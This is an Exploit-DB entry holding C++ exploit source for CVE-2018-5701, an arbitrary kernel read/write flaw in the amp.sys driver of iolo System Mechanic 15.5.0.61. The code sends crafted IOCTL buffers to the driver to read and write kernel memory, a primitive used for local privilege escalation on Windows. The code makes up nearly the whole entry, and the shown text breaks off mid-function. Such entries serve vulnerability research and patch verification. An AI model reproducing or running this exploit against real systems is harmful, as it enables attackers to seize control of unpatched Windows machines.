Exploit-DB #51044
Description: System Mechanic v15.5.0.61 - Arbitrary Read/Write
Type: local
Platform: windows
Date: 2023-03-25
Author: Brandon Marshall

Exploit:
/*
# Exploit Title: System Mechanic v15.5.0.61 - Arbitrary Read/Write
# Date: 26-09-2022
# Exploit Author: Brandon Marshall
# Vendor Homepage: https://www.iolo.com/
# Tested Version   - System Mechanic version 15.5.0.61
# Driver Version   - 5.4.11 - amp.sys
# Tested on OS     - 64 bit Windows 10 (18362)
# Fixed Version    - System Mechanic 17.5.0.116
# CVE : CVE-2018-5701
*/

#include <iostream>
#include <Windows.h>
#include <psapi.h>
#include <stdio.h>
#pragma warning(disable:4996)

typedef struct _kernelDriverInformation {
    char* imageName;
    void* imageBase;

}kernelDriverInformation, * PKernelDriverInformation;

typedef struct _functionInformation {
    char* functionName;
    void* functionOffset;
    void* functionBase;

}functionInformation, * PFunctionInformation;

void callDeviceIoControl(HANDLE deviceHandle, void* inputBuffer, DWORD inputBufferSize) {
    DWORD bytesReturned;
    NTSTATUS  status = DeviceIoControl(deviceHandle, 0x226003, inputBuffer, inputBufferSize, NULL, NULL, (LPDWORD)&bytesReturned, (LPOVERLAPPED)NULL);
}

HANDLE getDeviceHandle(char* name) {
    DWORD generic_read = 0x80000000;
    DWORD generic_write = 0x40000000;
    HANDLE handle = CreateFileA((LPCSTR)name, GENERIC_READ | generic_write, NULL, NULL, 0x3, NULL, NULL);
    return handle;
}



void* CreateWriteAddresInAMPsKernelMemoryIOCTLBuffer(void* addressToDereference, SIZE_T bufferSize) {
    byte* maliciousBuffer = (byte*)malloc(bufferSize);
    *(ULONGLONG*)maliciousBuffer = (ULONGLONG)5;   //   funciton pointer, this will be 5
    *(ULONGLONG*)(maliciousBuffer + 0x8) = (ULONGLONG)(maliciousBuffer + 0x20); //(maliciousBuffer);   pointer to parameters
    *(ULONGLONG*)(maliciousBuffer + 0x10) = (ULONGLONG)(maliciousBuffer + 0x10); //(maliciousBuffer + 0x20);// (0x1);  pointer to write return value
    *(ULONGLONG*)(maliciousBuffer + 0x18) = (ULONGLONG)0;//(ULONGLONG)(maliciousBuffer + 0x40); // unknown
    *(ULONGLONG*)(maliciousBuffer + 0x20) = (ULONGLONG)16;  // this will be 16
    *(ULONGLONG*)(maliciousBuffer + 0x28) = (ULONGLONG)0;  // param2
    *(ULONGLONG*)(maliciousBuffer + 0x30) = (ULONGLONG)addressToDereference; // param3
    *(ULONGLONG*)(maliciousBuffer + 0x38) = (ULONGLONG)0;  // param4
    return (void*)maliciousBuffer;
}

void* CreateReadDWORDFromKernelMemoryLeakIOCTLBuffer(SIZE_T bufferSize) {
    byte* maliciousBuffer = (byte*)malloc(bufferSize);
    *(ULONGLONG*)maliciousBuffer = (ULONGLONG)5;   //   funciton pointer, this will be 5
    *(ULONGLONG*)(maliciousBuffer + 0x8) = (ULONGLONG)(maliciousBuffer + 0x20); //(maliciousBuffer);   pointer to parameters
    *(ULONGLONG*)(maliciousBuffer + 0x10) = (ULONGLONG)(maliciousBuffer + 0x10); //(maliciousBuffer + 0x20);// (0x1);  pointer to write return value
    *(ULONGLONG*)(maliciousBuffer + 0x18) = (ULONGLONG)0;//(ULONGLONG)(maliciousBuffer + 0x40); // unknown
    *(ULONGLONG*)(maliciousBuffer + 0x20) = (ULONGLONG)16;  // this will be 16
    *(ULONGLONG*)(maliciousBuffer + 0x28) = (ULONGLONG)2;  // param2
    *(ULONGLONG*)(maliciousBuffer + 0x30) = (ULONGLONG)(maliciousBuffer + 0x40); // param3 
    *(ULONGLONG*)(maliciousBuffer + 0x38) = (ULONGLONG)(maliciousBuffer + 0x48);  // param4
    *(ULONGLONG*)(maliciousBuffer + 0x40) = (ULONGLONG)0;  //unknown
    *(ULONGLONG*)(maliciousBuffer + 0x48) = 0xffffffff; // param1
    return (void*)maliciousBuffer;
}

void* CreateWriteDWORDFromKernelMemoryIOCTLBuffer(void* addressToWriteTo, SIZE_T bufferSize) {
    byte* maliciousBuffer = (byte*)malloc(bufferSize);
    *(ULONGLONG*)maliciousBuffer = (ULONGLONG)5;   //   funciton pointer, this will be 5
    *(ULONGLONG*)(maliciousBuffer + 0x8) = (ULONGLONG)(maliciousBuffer + 0x20); //(maliciousBuffer);   pointer to parameters
    *(ULONGLONG*)(maliciousBuffer + 0x10) = (ULONGLONG)(maliciousBuffer + 0x10); //(maliciousBuffer + 0x20);// (0x1);  pointer to write return value
    *(ULONGLONG*)(maliciousBuffer + 0x18) = (ULONGLONG)0;//(ULONGLONG)(maliciousBuffer + 0x40); // unknown
    *(ULONGLONG*)(maliciousBuffer + 0x20) = (ULONGLONG)16;  // this will be 16
    *(ULONGLONG*)(maliciousBuffer + 0x28) = (ULONGLONG)2;  // param2
    *(ULONGLONG*)(maliciousBuffer + 0x30) = (ULONGLONG)addressToWriteTo; // param3 
    *(ULONGLONG*)(maliciousBuffer + 0x38) = (ULONGLONG)(maliciousBuffer + 0x40);  // param4
    *(ULONGLONG*)(maliciousBuffer + 0x40) = (ULONGLONG)0xffffffff;
    return (void*)maliciousBuffer;
}

DWORD leakDWORD(void* addressToLeak, HANDLE deviceHandle, SIZE_T bufferSize) {
    void* writeAddresInAMPsKernelMemoryIOCTLBuffer = CreateWriteAddresInAMPsKernelMemoryIOCTLBuffer(addressToLeak, bufferSize);
    callDeviceIoControl(deviceHandle, writeAddresInAMPsKernelMemoryIOCTLBuffer, bufferSize);
    free(writeAddresInAMPsKernelMemoryIOCTLBuffer);
    //address should now be written in kernel memory
    void* ReadDWORDFromKernelMemoryLeakIOCTLBuffer = CreateReadDWORDFromKernelMemoryLeakIOCTLBuffer(bufferSize);
    callDeviceIoControl(deviceHandle, ReadDWORDFromKernelMemoryLeakIOCTLBuffer, bufferSize);
    DWORD returnVal = *(DWORD*)((byte*)ReadDWORDFromKernelMemoryLeakIOCTLBuffer + 0x40);
    free(ReadDWORDFromKernelMemoryLeakIOCTLBuffer);

    return returnVal;
}

void writeDWORD(void* addressToWrite, void* PDWORDToWrite, HANDLE deviceHandle, SIZE_T bufferSize) {
    void* writeAddresInAMPsKernelMemoryIOCTLBuffer = CreateWriteAddresInAMPsKernelMemoryIOCTLBuffer(PDWORDToWrite, bufferSize);
    callDeviceIoControl(deviceHandle, writeAddresInAMPsKernelMemoryIOCTLBuffer, bufferSize);
    free(writeAddresInAMPsKernelMemoryIOCTLBuffer);
    //address should now be written in kernel memory
    void* ReadDWORDFromKernelMemoryLeakIOCTLBuffer = CreateWriteDWORDFromKernelMemoryIOCTLBuffer(addressToWrite,bufferSize);
    callDeviceIoControl(deviceHandle, ReadDWORDFromKernelMemoryLeakIOCTLBuffer, bufferSize);
    free(ReadDWORDFromKernelMemoryLeakIOCTLBuffe